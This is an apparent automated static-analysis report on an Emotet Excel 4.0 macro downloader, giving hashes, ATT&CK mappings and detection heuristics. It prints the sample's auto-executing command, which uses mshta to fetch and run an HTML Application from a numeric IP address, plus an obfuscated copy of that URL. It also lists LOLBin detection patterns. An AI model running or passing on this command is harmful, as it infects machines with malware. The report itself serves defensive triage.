Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 d856ab4b01b4056e…

MALICIOUS

Office (OLE) / .XLSX

47.1 KB Created: 2022-01-27 20:28:58 Authoring application: Microsoft Excel
MD5: fe5c4f471d803a1fa20e9d21eafb4f97 SHA-1: c970f5eb713954bd8525c8ad196e53b0fdd9f688 SHA-256: d856ab4b01b4056ec9f69749201ec615cacd814045bcd64e1e6fab98ecb73fea
322 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1204.002 Malicious File Execution: Malicious File T1059.003 Command and Scripting Interpreter: Windows Command Shell

The sample contains Excel 4.0 macros that are configured to automatically execute upon opening. The macro uses the EXEC function to run CMD.EXE with the command 'mshta http://91.240.118.168/vvv/ppp/fe.html', which downloads and executes a malicious HTML Application from the specified URL. ClamAV detection also confirms this is a known Emotet downloader.

Heuristics 8

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • ClamAV: Xls.Downloader.Emotet-a5251d3d2d6d3722-9951020-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Emotet-a5251d3d2d6d3722-9951020-0
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^lB
    • http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
35c6392f3f47777cde9d382a31f57105320ae94d070fad4c70fea323e0dab4b2		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1049 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 shell/COM execution token(s). Carved macro source contains an auto-exec entry point and execution/download terms.

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